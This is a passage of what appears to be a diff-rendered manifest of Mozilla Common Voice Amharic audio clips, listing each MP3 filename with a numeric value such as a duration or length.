| 643 |
+
common_voice_am_39362516.mp3 3780
|
| 644 |
+
common_voice_am_38629723.mp3 2916
|
| 645 |
+
common_voice_am_39362444.mp3 5688
|
| 646 |
+
common_voice_am_40123710.mp3 5868
|
| 647 |
+
common_voice_am_37790625.mp3 4860
|
| 648 |
+
common_voice_am_37814555.mp3 5256
|
| 649 |
+
common_voice_am_39991844.mp3 8208
|
| 650 |
+
common_voice_am_37782774.mp3 4608
|
| 651 |
+
common_voice_am_37822748.mp3 4104
|
| 652 |
+
common_voice_am_37782389.mp3 4860
|
| 653 |
+
common_voice_am_37768230.mp3 7488
|
| 654 |
+
common_voice_am_39362372.mp3 6228
|
| 655 |
+
common_voice_am_39936905.mp3 4608
|
| 656 |
+
common_voice_am_42422287.mp3 6480
|
| 657 |
+
common_voice_am_38630631.mp3 3960
|
| 658 |
+
common_voice_am_37768203.mp3 7236
|
| 659 |
+
common_voice_am_39643306.mp3 4500
|
| 660 |
+
common_voice_am_37805246.mp3 8244
|
| 661 |
+
common_voice_am_38399418.mp3 6156
|
| 662 |
+
common_voice_am_39991855.mp3 7704
|
| 663 |
+
common_voice_am_37772493.mp3 7920
|
| 664 |
+
common_voice_am_37768413.mp3 7776
|
| 665 |
+
common_voice_am_42674802.mp3 6732
|
| 666 |
+
common_voice_am_37768012.mp3 6444
|
| 667 |
+
common_voice_am_37815130.mp3 3780
|
| 668 |
+
common_voice_am_37811839.mp3 5076
|
| 669 |
+
common_voice_am_37802248.mp3 6156
|
| 670 |
+
common_voice_am_37768252.mp3 3060
|
| 671 |
+
common_voice_am_37782850.mp3 4680
|
| 672 |
+
common_voice_am_37805201.mp3 7992
|
| 673 |
+
common_voice_am_37814564.mp3 5796
|
| 674 |
+
common_voice_am_37802193.mp3 3996
|
| 675 |
+
common_voice_am_43293327.mp3 15336
|
| 676 |
+
common_voice_am_37802844.mp3 5220
|
| 677 |
+
common_voice_am_39362750.mp3 6696
|
| 678 |
+
common_voice_am_37782815.mp3 6732
|
| 679 |
+
common_voice_am_39936919.mp3 7488
|
| 680 |
+
common_voice_am_37779572.mp3 7416
|
| 681 |
+
common_voice_am_37805317.mp3 8640
|
| 682 |
+
common_voice_am_37809548.mp3 8460
|
| 683 |
+
common_voice_am_39991852.mp3 5580
|
| 684 |
+
common_voice_am_37814422.mp3 5760
|
| 685 |
+
common_voice_am_37809558.mp3 5760
|
| 686 |
+
common_voice_am_37817876.mp3 4968
|
| 687 |
+
common_voice_am_37811889.mp3 5148
|
| 688 |
+
common_voice_am_37815123.mp3 3636
|
| 689 |
+
common_voice_am_37805248.mp3 7452
|
| 690 |
+
common_voice_am_43353693.mp3 7848
|
| 691 |
+
common_voice_am_37817069.mp3 7344
|
| 692 |
+
common_voice_am_37814321.mp3 4752
|
| 693 |
+
common_voice_am_39936882.mp3 5796
|
| 694 |
+
common_voice_am_37791891.mp3 4572
|
| 695 |
+
common_voice_am_37774961.mp3 2988
|
| 696 |
+
common_voice_am_37842346.mp3 7200
|
| 697 |
+
common_voice_am_37802195.mp3 5868
|
| 698 |
+
common_voice_am_37782796.mp3 5436
|
| 699 |
+
common_voice_am_39936911.mp3 7056
|
| 700 |
+
common_voice_am_37802800.mp3 2700
|
| 701 |
+
common_voice_am_37782914.mp3 5832
|
| 702 |
+
common_voice_am_37812451.mp3 6588
|
| 703 |
+
common_voice_am_37767942.mp3 7776
|
| 704 |
+
common_voice_am_37790347.mp3 6840
|
| 705 |
+
common_voice_am_37791936.mp3 8316
|
| 706 |
+
common_voice_am_37772386.mp3 7380
|
| 707 |
+
common_voice_am_39643201.mp3 7236
|
| 708 |
+
common_voice_am_37791301.mp3 5328
|
| 709 |
+
common_voice_am_37782837.mp3 8460
|
| 710 |
+
common_voice_am_37782185.mp3 6408
|
| 711 |
+
common_voice_am_37790626.mp3 3708
|
| 712 |
+
common_voice_am_38583120.mp3 6336
|
| 713 |
+
common_voice_am_39936879.mp3 9900
|
| 714 |
+
common_voice_am_41527479.mp3 9396
|
| 715 |
+
common_voice_am_37778054.mp3 5796
|
| 716 |
+
common_voice_am_37774959.mp3 4644
|
| 717 |
+
common_voice_am_39362476.mp3 7128
|
| 718 |
+
common_voice_am_43325043.mp3 6228
|
| 719 |
+
common_voice_am_37802222.mp3 6768
|
| 720 |
+
common_voice_am_37814584.mp3 6228
|
| 721 |
+
common_voice_am_42422284.mp3 4896
|
| 722 |
+
common_voice_am_37782298.mp3 3636
|
| 723 |
+
common_voice_am_37768260.mp3 3888
|
| 724 |
+
common_voice_am_38630617.mp3 7020
|
| 725 |
+
common_voice_am_37790454.mp3 2700
|
| 726 |
+
common_voice_am_37782861.mp3 7164
|
| 727 |
+
common_voice_am_37782709.mp3 6084
|
| 728 |
+
common_voice_am_42422283.mp3 7956
|
| 729 |
+
common_voice_am_37790321.mp3 4896
|
| 730 |
+
common_voice_am_37790323.mp3 5220
|
| 731 |
+
common_voice_am_37782548.mp3 5832
|
| 732 |
+
common_voice_am_37791284.mp3 4176
|
| 733 |
+
common_voice_am_37802219.mp3 6876
|
| 734 |
+
common_voice_am_37814583.mp3 2844
|
| 735 |
+
common_voice_am_37782309.mp3 4500
|
| 736 |
+
common_voice_am_39936912.mp3 4536
|
| 737 |
+
common_voice_am_37805241.mp3 7020
|
| 738 |
+
common_voice_am_37768144.mp3 6336
|
| 739 |
+
common_voice_am_37782929.mp3 6804
|
| 740 |
+
common_voice_am_39936889.mp3 4608
|
| 741 |
+
common_voice_am_38630616.mp3 4140
|
| 742 |
+
common_voice_am_37842349.mp3 4248
|
| 743 |
+
common_voice_am_37805234.mp3 8244
|
| 744 |
+
common_voice_am_39362701.mp3 3960
|
| 745 |
+
common_voice_am_37768229.mp3 3816
|
| 746 |
+
common_voice_am_37815133.mp3 7668
|
| 747 |
+
common_voice_am_37782583.mp3 7020
|
| 748 |
+
common_voice_am_38630558.mp3 4680
|
| 749 |
+
common_voice_am_37774956.mp3 5544
|
| 750 |
+
common_voice_am_38629816.mp3 5616
|
| 751 |
+
common_voice_am_37768178.mp3 7776
|
| 752 |
+
common_voice_am_37774908.mp3 9648
|
| 753 |
+
common_voice_am_37790322.mp3 8676
|
| 754 |
+
common_voice_am_37814617.mp3 6372
|
| 755 |
+
common_voice_am_39643516.mp3 7920
|
| 756 |
+
common_voice_am_37888676.mp3 5148
|
| 757 |
+
common_voice_am_37790623.mp3 6948
|
| 758 |
+
common_voice_am_37815091.mp3 7236
|
| 759 |
+
common_voice_am_37791921.mp3 8856
|
| 760 |
+
common_voice_am_39967424.mp3 9108
|
| 761 |
+
common_voice_am_37841952.mp3 9036
|
| 762 |
+
common_voice_am_37782218.mp3 6156
|
| 763 |
+
common_voice_am_39967393.mp3 5652
|
| 764 |
+
common_voice_am_37802930.mp3 5076
|
| 765 |
+
common_voice_am_37790324.mp3 4716
|
| 766 |
+
common_voice_am_37805223.mp3 5256
|
| 767 |
+
common_voice_am_38331902.mp3 10440
|
| 768 |
+
common_voice_am_43184271.mp3 5940
|
| 769 |
+
common_voice_am_39936907.mp3 7020
|
| 770 |
+
common_voice_am_37805160.mp3 7704
|
| 771 |
+
common_voice_am_37888675.mp3 6516
|
| 772 |
+
common_voice_am_37888661.mp3 8820
|
| 773 |
+
common_voice_am_37802782.mp3 5616
|
| 774 |
+
common_voice_am_43414555.mp3 2016
|
| 775 |
+
common_voice_am_37792186.mp3 6624
|
| 776 |
+
common_voice_am_37782795.mp3 6480
|
| 777 |
+
common_voice_am_37809552.mp3 9504
|
| 778 |
+
common_voice_am_39991837.mp3 8820
|
| 779 |
+
common_voice_am_37888651.mp3 8388
|
| 780 |
+
common_voice_am_43293326.mp3 13680
|
| 781 |
+
common_voice_am_37782311.mp3 6336
|
| 782 |
+
common_voice_am_37814508.mp3 3924
|
| 783 |
+
common_voice_am_39991841.mp3 10080
|
| 784 |
+
common_voice_am_40405942.mp3 6480
|
| 785 |
+
common_voice_am_37814542.mp3 6804
|
| 786 |
+
common_voice_am_37805294.mp3 4788
|
| 787 |
+
common_voice_am_39643254.mp3 10296
|
| 788 |
+
common_voice_am_37805167.mp3 4500
|
| 789 |
+
common_voice_am_37815089.mp3 8028
|
| 790 |
+
common_voice_am_39979865.mp3 4860
|
| 791 |
+
common_voice_am_37782617.mp3 5940
|
| 792 |
+
common_voice_am_37782851.mp3 5256
|
| 793 |
+
common_voice_am_37952753.mp3 3348
|
| 794 |
+
common_voice_am_39362679.mp3 6768
|
| 795 |
+
common_voice_am_39991860.mp3 7524
|
| 796 |
+
common_voice_am_37802739.mp3 6588
|
| 797 |
+
common_voice_am_37782839.mp3 4032
|
| 798 |
+
common_voice_am_37805214.mp3 4860
|
| 799 |
+
common_voice_am_37779574.mp3 7344
|
| 800 |
+
common_voice_am_37805206.mp3 6480
|
| 801 |
+
common_voice_am_37779486.mp3 7236
|
| 802 |
+
common_voice_am_37814396.mp3 6300
|
| 803 |
+
common_voice_am_37782584.mp3 6588
|
| 804 |
+
common_voice_am_37790346.mp3 8136
|
| 805 |
+
common_voice_am_43184274.mp3 9720
|
| 806 |
+
common_voice_am_37782942.mp3 6948
|
| 807 |
+
common_voice_am_37782901.mp3 6192
|
| 808 |
+
common_voice_am_37791932.mp3 6300
|
| 809 |
+
common_voice_am_37767912.mp3 7668
|
| 810 |
+
common_voice_am_39991858.mp3 8640
|
| 811 |
+
common_voice_am_39991831.mp3 10296
|
| 812 |
+
common_voice_am_37772417.mp3 5112
|
| 813 |
+
common_voice_am_37890160.mp3 4500
|
| 814 |
+
common_voice_am_37807189.mp3 6660
|
| 815 |
+
common_voice_am_37782390.mp3 5400
|
| 816 |
+
common_voice_am_37774924.mp3 5076
|
| 817 |
+
common_voice_am_37767946.mp3 6768
|
| 818 |
+
common_voice_am_39362502.mp3 3276
|
| 819 |
+
common_voice_am_39922745.mp3 5724
|
| 820 |
+
common_voice_am_37805320.mp3 4680
|
| 821 |
+
common_voice_am_37790449.mp3 2016
|
| 822 |
+
common_voice_am_41706520.mp3 5364
|
| 823 |
+
common_voice_am_37768046.mp3 8604
|
| 824 |
+
common_voice_am_37815095.mp3 4860
|
| 825 |
+
common_voice_am_37814411.mp3 7236
|
| 826 |
+
common_voice_am_37782835.mp3 7992
|
| 827 |
+
common_voice_am_43353695.mp3 10476
|
| 828 |
+
common_voice_am_37791938.mp3 5148
|
| 829 |
+
common_voice_am_37782300.mp3 7380
|
| 830 |
+
common_voice_am_39936946.mp3 7596
|
| 831 |
+
common_voice_am_37767887.mp3 6084
|
| 832 |
+
common_voice_am_37802266.mp3 6948
|
| 833 |
+
common_voice_am_39936926.mp3 7380
|
| 834 |
+
common_voice_am_37814320.mp3 3708
|
| 835 |
+
common_voice_am_39362352.mp3 3780
|
| 836 |
+
common_voice_am_39936913.mp3 9036
|
| 837 |
+
common_voice_am_38583170.mp3 4716
|
| 838 |
+
common_voice_am_37782924.mp3 3420
|
| 839 |
+
common_voice_am_39991847.mp3 3888
|
| 840 |
+
common_voice_am_38399423.mp3 5976
|
| 841 |
+
common_voice_am_37952746.mp3 6480
|
| 842 |
+
common_voice_am_39643173.mp3 4788
|
| 843 |
+
common_voice_am_37791901.mp3 4464
|
| 844 |
+
common_voice_am_37767915.mp3 8136
|
| 845 |
+
common_voice_am_37897074.mp3 8208
|
| 846 |
+
common_voice_am_39936922.mp3 7740
|
| 847 |
+
common_voice_am_37779519.mp3 4356
|
| 848 |
+
common_voice_am_37790592.mp3 5076
|
| 849 |
+
common_voice_am_37817070.mp3 5940
|
| 850 |
+
common_voice_am_37815129.mp3 5328
|
| 851 |
+
common_voice_am_37782580.mp3 6768
|
| 852 |
+
common_voice_am_37782859.mp3 5544
|
| 853 |
+
common_voice_am_37791907.mp3 6588
|
| 854 |
+
common_voice_am_39643256.mp3 6228
|
| 855 |
+
common_voice_am_37802737.mp3 8028
|
| 856 |
+
common_voice_am_37805292.mp3 6732
|
| 857 |
+
common_voice_am_39936930.mp3 5400
|
| 858 |
+
common_voice_am_37768205.mp3 6480
|
| 859 |
+
common_voice_am_40882229.mp3 8028
|
| 860 |
+
common_voice_am_37782916.mp3 4860
|
| 861 |
+
common_voice_am_38630567.mp3 4248
|
| 862 |
+
common_voice_am_37890159.mp3 8280
|
| 863 |
+
common_voice_am_37782437.mp3 4932
|
| 864 |
+
common_voice_am_37802927.mp3 4860
|
| 865 |
+
common_voice_am_37802244.mp3 6156
|
| 866 |
+
common_voice_am_38399405.mp3 3780
|
| 867 |
+
common_voice_am_37767993.mp3 5976
|
| 868 |
+
common_voice_am_37791300.mp3 7488
|
| 869 |
+
common_voice_am_37790354.mp3 3240
|
| 870 |
+
common_voice_am_37890161.mp3 5796
|
| 871 |
+
common_voice_am_37815107.mp3 7416
|
| 872 |
+
common_voice_am_37767889.mp3 3024
|
| 873 |
+
common_voice_am_37815105.mp3 4608
|
| 874 |
+
common_voice_am_39643476.mp3 8028
|
| 875 |
+
common_voice_am_41527481.mp3 7488
|
| 876 |
+
common_voice_am_37802785.mp3 4428
|
| 877 |
+
common_voice_am_37802713.mp3 5616
|
| 878 |
+
common_voice_am_37809605.mp3 7416
|
| 879 |
+
common_voice_am_37782435.mp3 5004
|
| 880 |
+
common_voice_am_37782915.mp3 8028
|
| 881 |
+
common_voice_am_43325041.mp3 1800
|
| 882 |
+
common_voice_am_42422289.mp3 6840
|
| 883 |
+
common_voice_am_39936891.mp3 4248
|
| 884 |
+
common_voice_am_37842351.mp3 4716
|
| 885 |
+
common_voice_am_37805291.mp3 5148
|
| 886 |
+
common_voice_am_37767943.mp3 3348
|
| 887 |
+
common_voice_am_37791929.mp3 5796
|
| 888 |
+
common_voice_am_38586634.mp3 3636
|
| 889 |
+
common_voice_am_37767927.mp3 5652
|
| 890 |
+
common_voice_am_37790445.mp3 6336
|
| 891 |
+
common_voice_am_39936947.mp3 5976
|
| 892 |
+
common_voice_am_38629785.mp3 8928
|
| 893 |
+
common_voice_am_37814519.mp3 3780
|
| 894 |
+
common_voice_am_37888660.mp3 9756
|
| 895 |
+
common_voice_am_37805187.mp3 7884
|
| 896 |
+
common_voice_am_37782938.mp3 6156
|
| 897 |
+
common_voice_am_37782889.mp3 7092
|
| 898 |
+
common_voice_am_42492791.mp3 9360
|
| 899 |
+
common_voice_am_37814605.mp3 8208
|
| 900 |
+
common_voice_am_37809549.mp3 4428
|
| 901 |
+
common_voice_am_39643541.mp3 5580
|
| 902 |
+
common_voice_am_37768251.mp3 3348
|
| 903 |
+
common_voice_am_37802843.mp3 6336
|
| 904 |
+
common_voice_am_37782771.mp3 7668
|
| 905 |
+
common_voice_am_37790336.mp3 4896
|
| 906 |
+
common_voice_am_38583323.mp3 10440
|
| 907 |
+
common_voice_am_39362811.mp3 3996
|
| 908 |
+
common_voice_am_37790604.mp3 4356
|
| 909 |
+
common_voice_am_37809560.mp3 5652
|
| 910 |
+
common_voice_am_39362370.mp3 8028
|
| 911 |
+
common_voice_am_37761313.mp3 6912
|
| 912 |
+
common_voice_am_37802823.mp3 3996
|
| 913 |
+
common_voice_am_37768085.mp3 4644
|
| 914 |
+
common_voice_am_37802192.mp3 7308
|
| 915 |
+
common_voice_am_37790606.mp3 7956
|
| 916 |
+
common_voice_am_40955939.mp3 5796
|
| 917 |
+
common_voice_am_37805169.mp3 5076
|
| 918 |
+
common_voice_am_40192185.mp3 4176
|
| 919 |
+
common_voice_am_39991856.mp3 7308
|
| 920 |
+
common_voice_am_37938201.mp3 5040
|
| 921 |
+
common_voice_am_37768195.mp3 3924
|
| 922 |
+
common_voice_am_37790571.mp3 5688
|
| 923 |
+
common_voice_am_37812453.mp3 5616
|
| 924 |
+
common_voice_am_37805243.mp3 7596
|
| 925 |
+
common_voice_am_39922754.mp3 7416
|
| 926 |
+
common_voice_am_43227243.mp3 1656
|
| 927 |
+
common_voice_am_37782216.mp3 5616
|
| 928 |
+
common_voice_am_39362425.mp3 8676
|
| 929 |
+
common_voice_am_39936940.mp3 7488
|
| 930 |
+
common_voice_am_38399417.mp3 8208
|
| 931 |
+
common_voice_am_39638988.mp3 8496
|
| 932 |
+
common_voice_am_37802628.mp3 3456
|
| 933 |
+
common_voice_am_38331904.mp3 4428
|
| 934 |
+
common_voice_am_37817875.mp3 8028
|
| 935 |
+
common_voice_am_37768415.mp3 6480
|
| 936 |
+
common_voice_am_37888663.mp3 4968
|
| 937 |
+
common_voice_am_37814413.mp3 6876
|
| 938 |
+
common_voice_am_39631549.mp3 4248
|
| 939 |
+
common_voice_am_37811863.mp3 6768
|
| 940 |
+
common_voice_am_37782424.mp3 5868
|
| 941 |
+
common_voice_am_37802799.mp3 4896
|
| 942 |
+
common_voice_am_39362641.mp3 3996
|
| 943 |
+
common_voice_am_39362445.mp3 3600
|
| 944 |
+
common_voice_am_39936942.mp3 5256
|
| 945 |
+
common_voice_am_38630569.mp3 5148
|
| 946 |
+
common_voice_am_37805274.mp3 4536
|
| 947 |
+
common_voice_am_39991889.mp3 9288
|
| 948 |
+
common_voice_am_37815119.mp3 4968
|
| 949 |
+
common_voice_am_37761316.mp3 5580
|
| 950 |
+
common_voice_am_37791304.mp3 5688
|
| 951 |
+
common_voice_am_37782760.mp3 5004
|
| 952 |
+
common_voice_am_37802781.mp3 8460
|
| 953 |
+
common_voice_am_37952732.mp3 3420
|
| 954 |
+
common_voice_am_39906909.mp3 10404
|
| 955 |
+
common_voice_am_39362368.mp3 6588
|
| 956 |
+
common_voice_am_37768015.mp3 7452
|
| 957 |
+
common_voice_am_37805176.mp3 7308
|
| 958 |
+
common_voice_am_37802845.mp3 7056
|
| 959 |
+
common_voice_am_39969025.mp3 9648
|
| 960 |
+
common_voice_am_37791937.mp3 2916
|
| 961 |
+
common_voice_am_37782582.mp3 9900
|
| 962 |
+
common_voice_am_37782852.mp3 3492
|
| 963 |
+
common_voice_am_37782219.mp3 2448
|
| 964 |
+
common_voice_am_39967281.mp3 8280
|
| 965 |
+
common_voice_am_39979864.mp3 6840
|
| 966 |
+
common_voice_am_42422288.mp3 4500
|
| 967 |
+
common_voice_am_37805256.mp3 5868
|
| 968 |
+
common_voice_am_37814523.mp3 4536
|
| 969 |
+
common_voice_am_37807186.mp3 7200
|
| 970 |
+
common_voice_am_37782188.mp3 3276
|
| 971 |
+
common_voice_am_37805146.mp3 7668
|
| 972 |
+
common_voice_am_39362678.mp3 7200
|
| 973 |
+
common_voice_am_37890163.mp3 4716
|
| 974 |
+
common_voice_am_37767916.mp3 7128
|
| 975 |
+
common_voice_am_39991894.mp3 8964
|
| 976 |
+
common_voice_am_38399436.mp3 5976
|
| 977 |
+
common_voice_am_39967276.mp3 6192
|
| 978 |
+
common_voice_am_37802293.mp3 5328
|
| 979 |
+
common_voice_am_37767962.mp3 4500
|
| 980 |
+
common_voice_am_37807177.mp3 6516
|
| 981 |
+
common_voice_am_37842347.mp3 8136
|
| 982 |
+
common_voice_am_39643197.mp3 9216
|
| 983 |
+
common_voice_am_38629815.mp3 4860
|
| 984 |
+
common_voice_am_40405955.mp3 8568
|
| 985 |
+
common_voice_am_37809604.mp3 7272
|
| 986 |
+
common_voice_am_37805249.mp3 3924
|
| 987 |
+
common_voice_am_37811878.mp3 4428
|
| 988 |
+
common_voice_am_37817062.mp3 6660
|
| 989 |
+
common_voice_am_37782931.mp3 6876
|
| 990 |
+
common_voice_am_39362501.mp3 7560
|
| 991 |
+
common_voice_am_37952734.mp3 7776
|
| 992 |
+
common_voice_am_37782217.mp3 9540
|
| 993 |
+
common_voice_am_37768228.mp3 4572
|
| 994 |
+
common_voice_am_42249654.mp3 7848
|
| 995 |
+
common_voice_am_39991848.mp3 10296
|
| 996 |
+
common_voice_am_37782581.mp3 7956
|
| 997 |
+
common_voice_am_37782642.mp3 7308
|
| 998 |
+
common_voice_am_39936924.mp3 8748
|
| 999 |
+
common_voice_am_37767952.mp3 6048
|
| 1000 |
+
common_voice_am_37841948.mp3 6408
|
| 1001 |
+
common_voice_am_37790613.mp3 6408
|
| 1002 |
+
common_voice_am_37778056.mp3 5580
|
| 1003 |
+
common_voice_am_37814510.mp3 6696
|
| 1004 |
+
common_voice_am_37802783.mp3 3708
|
| 1005 |
+
common_voice_am_37768227.mp3 6336
|
| 1006 |
+
common_voice_am_39967385.mp3 7236
|
| 1007 |
+
common_voice_am_40405951.mp3 5436
|
| 1008 |
+
common_voice_am_37791890.mp3 7200
|
| 1009 |
+
common_voice_am_39966175.mp3 7128
|
| 1010 |
+
common_voice_am_37805283.mp3 4428
|
| 1011 |
+
common_voice_am_37782404.mp3 7020
|
| 1012 |
+
common_voice_am_42422280.mp3 10260
|
| 1013 |
+
common_voice_am_37805204.mp3 5976
|
| 1014 |
+
common_voice_am_37814483.mp3 7776
|
| 1015 |
+
common_voice_am_39956494.mp3 8748
|
| 1016 |
+
common_voice_am_37809550.mp3 9648
|
| 1017 |
+
common_voice_am_39936950.mp3 9720
|
| 1018 |
+
common_voice_am_37772494.mp3 6300
|
| 1019 |
+
common_voice_am_39967343.mp3 7956
|
| 1020 |
+
common_voice_am_37782890.mp3 5472
|
| 1021 |
+
common_voice_am_37802901.mp3 8100
|
| 1022 |
+
common_voice_am_37802653.mp3 8136
|
| 1023 |
+
common_voice_am_37768013.mp3 6084
|
| 1024 |
+
common_voice_am_37779518.mp3 3564
|
| 1025 |
+
common_voice_am_37815098.mp3 5868
|
| 1026 |
+
common_voice_am_39362499.mp3 6300
|
| 1027 |
+
common_voice_am_37791297.mp3 2736
|
| 1028 |
+
common_voice_am_39362807.mp3 6048
|
| 1029 |
+
common_voice_am_37814491.mp3 7308
|
| 1030 |
+
common_voice_am_37897073.mp3 8280
|
| 1031 |
+
common_voice_am_39936931.mp3 10080
|
| 1032 |
+
common_voice_am_37802318.mp3 4968
|
| 1033 |
+
common_voice_am_40192187.mp3 8100
|
| 1034 |
+
common_voice_am_37811876.mp3 8208
|
| 1035 |
+
common_voice_am_39643235.mp3 8388
|
| 1036 |
+
common_voice_am_37805258.mp3 4212
|
| 1037 |
+
common_voice_am_37807188.mp3 5436
|
| 1038 |
+
common_voice_am_37790562.mp3 9828
|
| 1039 |
+
common_voice_am_39936872.mp3 9756
|
| 1040 |
+
common_voice_am_37805303.mp3 5760
|
| 1041 |
+
common_voice_am_37802929.mp3 7488
|
| 1042 |
+
common_voice_am_39362433.mp3 9360
|
| 1043 |
+
common_voice_am_37814409.mp3 6372
|
| 1044 |
+
common_voice_am_37791302.mp3 2448
|
| 1045 |
+
common_voice_am_37782393.mp3 4788
|
| 1046 |
+
common_voice_am_37815131.mp3 8928
|
| 1047 |
+
common_voice_am_37802247.mp3 7308
|
| 1048 |
+
common_voice_am_39936914.mp3 6480
|
| 1049 |
+
common_voice_am_39936918.mp3 9468
|
| 1050 |
+
common_voice_am_38586606.mp3 2988
|
| 1051 |
+
common_voice_am_39643424.mp3 10116
|
| 1052 |
+
common_voice_am_39936923.mp3 10260
|
| 1053 |
+
common_voice_am_37782923.mp3 6912
|
| 1054 |
+
common_voice_am_37811877.mp3 5472
|
| 1055 |
+
common_voice_am_38399415.mp3 6120
|
| 1056 |
+
common_voice_am_39922741.mp3 8208
|
| 1057 |
+
common_voice_am_38583119.mp3 7920
|
| 1058 |
+
common_voice_am_37805262.mp3 5724
|
| 1059 |
+
common_voice_am_40192184.mp3 8496
|
| 1060 |
+
common_voice_am_39643522.mp3 8136
|
| 1061 |
+
common_voice_am_39936906.mp3 5220
|
| 1062 |
+
common_voice_am_37791903.mp3 4608
|
| 1063 |
+
common_voice_am_38583285.mp3 6660
|
| 1064 |
+
common_voice_am_37817058.mp3 8064
|
| 1065 |
+
common_voice_am_39362480.mp3 9288
|
| 1066 |
+
common_voice_am_43227240.mp3 2988
|
| 1067 |
+
common_voice_am_39362677.mp3 2448
|
| 1068 |
+
common_voice_am_39643234.mp3 6156
|
| 1069 |
+
common_voice_am_37802900.mp3 5508
|
| 1070 |
+
common_voice_am_37791919.mp3 6552
|
| 1071 |
+
common_voice_am_37772387.mp3 2916
|
| 1072 |
+
common_voice_am_37814493.mp3 6480
|
| 1073 |
+
common_voice_am_39643369.mp3 8316
|
| 1074 |
+
common_voice_am_37817055.mp3 3888
|
| 1075 |
+
common_voice_am_37782455.mp3 10440
|
| 1076 |
+
common_voice_am_37779484.mp3 6372
|
| 1077 |
+
common_voice_am_39362748.mp3 5508
|
| 1078 |
+
common_voice_am_37790588.mp3 3780
|
| 1079 |
+
common_voice_am_38583282.mp3 8208
|
| 1080 |
+
common_voice_am_37842348.mp3 9108
|
| 1081 |
+
common_voice_am_37774921.mp3 6480
|
| 1082 |
+
common_voice_am_37802683.mp3 3456
|
| 1083 |
+
common_voice_am_37791290.mp3 6156
|
| 1084 |
+
common_voice_am_39967332.mp3 5796
|
| 1085 |
+
common_voice_am_37822745.mp3 3996
|
| 1086 |
+
common_voice_am_37815099.mp3 4680
|
| 1087 |
+
common_voice_am_37790624.mp3 4896
|
| 1088 |
+
common_voice_am_37814366.mp3 6732
|
| 1089 |
+
common_voice_am_39362482.mp3 6876
|
| 1090 |
+
common_voice_am_39643172.mp3 7956
|
| 1091 |
+
common_voice_am_39936901.mp3 6300
|
| 1092 |
+
common_voice_am_37768193.mp3 5328
|
| 1093 |
+
common_voice_am_37802160.mp3 8280
|
| 1094 |
+
common_voice_am_38399408.mp3 7380
|
| 1095 |
+
common_voice_am_37782930.mp3 6552
|
| 1096 |
+
common_voice_am_37782296.mp3 6840
|
| 1097 |
+
common_voice_am_37802682.mp3 7380
|
| 1098 |
+
common_voice_am_43227245.mp3 1908
|
| 1099 |
+
common_voice_am_37772388.mp3 3456
|
| 1100 |
+
common_voice_am_37814563.mp3 10476
|
| 1101 |
+
common_voice_am_37782426.mp3 7488
|
| 1102 |
+
common_voice_am_37814352.mp3 8028
|
| 1103 |
+
common_voice_am_37790472.mp3 3708
|
| 1104 |
+
common_voice_am_37805237.mp3 7164
|
| 1105 |
+
common_voice_am_39362514.mp3 4176
|
| 1106 |
+
common_voice_am_37814603.mp3 4644
|
| 1107 |
+
common_voice_am_42674807.mp3 12708
|
| 1108 |
+
common_voice_am_38630614.mp3 7236
|
| 1109 |
+
common_voice_am_37782798.mp3 6732
|
| 1110 |
+
common_voice_am_37814622.mp3 6732
|
| 1111 |
+
common_voice_am_37790455.mp3 4356
|
| 1112 |
+
common_voice_am_37815092.mp3 5076
|
| 1113 |
+
common_voice_am_37802784.mp3 5976
|
| 1114 |
+
common_voice_am_37768018.mp3 5292
|
| 1115 |
+
common_voice_am_37814420.mp3 7272
|
| 1116 |
+
common_voice_am_37778063.mp3 7164
|
| 1117 |
+
common_voice_am_38630557.mp3 7308
|
| 1118 |
+
common_voice_am_39906864.mp3 8892
|
| 1119 |
+
common_voice_am_37768254.mp3 5436
|
| 1120 |
+
common_voice_am_39643427.mp3 4500
|
| 1121 |
+
common_voice_am_37791894.mp3 3456
|
| 1122 |
+
common_voice_am_42674806.mp3 5472
|
| 1123 |
+
common_voice_am_37778055.mp3 6732
|
| 1124 |
+
common_voice_am_37782577.mp3 2448
|
| 1125 |
+
common_voice_am_37782407.mp3 7272
|
| 1126 |
+
common_voice_am_37842336.mp3 4248
|
| 1127 |
+
common_voice_am_39967417.mp3 9648
|
| 1128 |
+
common_voice_am_37782917.mp3 4860
|
| 1129 |
+
common_voice_am_37815106.mp3 4572
|
| 1130 |
+
common_voice_am_39936883.mp3 6480
|
| 1131 |
+
common_voice_am_37768089.mp3 7704
|
| 1132 |
+
common_voice_am_37778058.mp3 6372
|
| 1133 |
+
common_voice_am_37782579.mp3 5616
|
| 1134 |
+
common_voice_am_37768083.mp3 6696
|
| 1135 |
+
common_voice_am_37782586.mp3 8640
|
| 1136 |
+
common_voice_am_37790331.mp3 9000
|
| 1137 |
+
common_voice_am_38629748.mp3 5616
|
| 1138 |
+
common_voice_am_37802756.mp3 3708
|
| 1139 |
+
common_voice_am_39643520.mp3 5580
|
| 1140 |
+
common_voice_am_39936935.mp3 5220
|
| 1141 |
+
common_voice_am_39362443.mp3 6228
|
| 1142 |
+
common_voice_am_39991872.mp3 7812
|
| 1143 |
+
common_voice_am_37782763.mp3 4860
|
| 1144 |
+
common_voice_am_39922763.mp3 7380
|
| 1145 |
+
common_voice_am_37782892.mp3 5724
|
| 1146 |
+
common_voice_am_37782573.mp3 2880
|
| 1147 |
+
common_voice_am_37802223.mp3 7380
|
| 1148 |
+
common_voice_am_37802931.mp3 3636
|
| 1149 |
+
common_voice_am_37805236.mp3 8172
|
| 1150 |
+
common_voice_am_37779487.mp3 5976
|
| 1151 |
+
common_voice_am_39643425.mp3 5400
|
| 1152 |
+
common_voice_am_37782551.mp3 6588
|
| 1153 |
+
common_voice_am_39922752.mp3 9864
|
| 1154 |
+
common_voice_am_39362411.mp3 7200
|
| 1155 |
+
common_voice_am_38630629.mp3 8028
|
| 1156 |
+
common_voice_am_37790448.mp3 3060
|
| 1157 |
+
common_voice_am_39922744.mp3 9180
|
| 1158 |
+
common_voice_am_37802916.mp3 6516
|
| 1159 |
+
common_voice_am_42492766.mp3 8640
|
| 1160 |
+
common_voice_am_39936904.mp3 4896
|
| 1161 |
+
common_voice_am_37791931.mp3 5652
|
| 1162 |
+
common_voice_am_39936933.mp3 5148
|
| 1163 |
+
common_voice_am_37952752.mp3 6840
|
| 1164 |
+
common_voice_am_37814350.mp3 7344
|
| 1165 |
+
common_voice_am_37782618.mp3 7200
|
| 1166 |
+
common_voice_am_42492770.mp3 7920
|
| 1167 |
+
common_voice_am_37790594.mp3 5400
|
| 1168 |
+
common_voice_am_39936892.mp3 7668
|
| 1169 |
+
common_voice_am_37782416.mp3 5580
|
| 1170 |
+
common_voice_am_37814536.mp3 6192
|
| 1171 |
+
common_voice_am_38629786.mp3 5076
|
| 1172 |
+
